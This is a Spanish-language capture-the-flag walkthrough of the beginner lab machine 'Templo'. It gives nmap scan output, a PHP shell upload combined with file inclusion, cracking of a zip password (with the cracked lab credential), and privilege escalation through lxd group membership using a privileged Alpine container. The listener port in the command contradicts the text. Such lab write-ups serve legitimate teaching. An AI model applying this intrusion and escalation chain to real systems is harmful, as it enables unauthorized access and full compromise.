Templo

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Principiante | 03 Agosto 2024 | rodgar |
Reconocimiento
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open --min-rate 5000 -Pn -n -vvv 192.168.1.20 -oG scanPorts
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
❯ nmap -sCV -p22,80 192.168.1.20 -oN service_scan -vvv
# Nmap 7.94SVN scan initiated Fri Aug 9 19:09:47 2024 as: nmap -sCV -p22,80 -oN service_scan -vvv 192.168.1.20
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+) '
Nmap scan report for 192.168.1.20 (192.168.1.20)
Host is up, received arp-response (0.00026s latency).
Scanned at 2024-08-09 19:09:47 EDT for 7s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 bc:8f:97:fa:60:eb:ed:b2:8c:3b:c0:65:3b:48:69:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL33ew5eUO4/HOjkBh5wpyT9JhUsMTbFvXSacMiqefK+5qUV7eJ/qf/J39O3JahwU2l12c2r79bg3A55r+88PII=
| 256 f9:b0:9b:20:8f:3a:7b:33:e7:95:a5:43:e7:9b:c6:59 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEsfLM7HzFd6uyjjUliY2ki0aM0/LVlTBY5Ih+AKmz/7
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 05D61F668472F7306C1A096A3A4EC1BD
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RODGAR
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
MAC Address: 08:00:27:32:8A:4D (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 9 19:09:54 2024 -- 1 IP address (1 host up) scanned in 6.56 seconds
Enumeración de servicios
Luego de realizar fuzzing con distintos diccionarios y a varias extensiones no encontramos nada.
Pero, por otra parte, si miramos la web podemos observar que nos dan una pista.
Ingresamos a esa ruta y efectivamente tenemos otra sección de la web.
Explotación inicial
En esta sección, podemos subir archivos al igual que también podemos incluirlos.
Subimos una shell en php.
Luego, leemos incluimos el archivo pero aplicando el filtro de php para convertir el contenido en base64.
Vemos que el archivo se renombra aplicando un rot13 al nombre del archivo, por lo que nuestro archivo shell.php quedaría furyy.php
Ganamos acceso al sistema.
Nos ponemos en escucha con netcat por el puerto 80.
nc -nlvp 443
Realizamos el tratamiento de la tty.
Enumeración / Movimiento lateral
www-data -> rodgar
Si recordamos el archivo clue.txt
nos mencionaba algo sobre el directorio /opt
.
Si miramos dentro de este, encontramos un directorio oculto y dentro de este un archivo .zip.
Descargamos el archivo a nuestra máquina.
Al querer extraer el zip, nos solicita una contraseña.
Utilizamos zip2john para generar un hash y luego crackearlo con john.
Encontramos la contraseña de rodgar.
rodgar:6rK5£6iqF;o|8dmla859/_
Elevación de privilegios
Si miramos los grupos a los cuales pertenece el usuario rogdar
hay uno que salta a la vista y del cual podemos abusar. Se trata del grupo lxd
.
Atacante
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
Victima
Nos la pasamos a la maquina victima y la importamos
lxc image import alpine-v3.20-x86_64-20240809_2012.tar.gz --alias alpine
Nos la pasamos a la maquina victima y la importamos
Iniciamos la imagen
rodgar@TheHackersLabs-Templo:/tmp$ lxc init alpine juggernaut -c security.privileged=true
Creating juggernaut
Leemos la flag de root.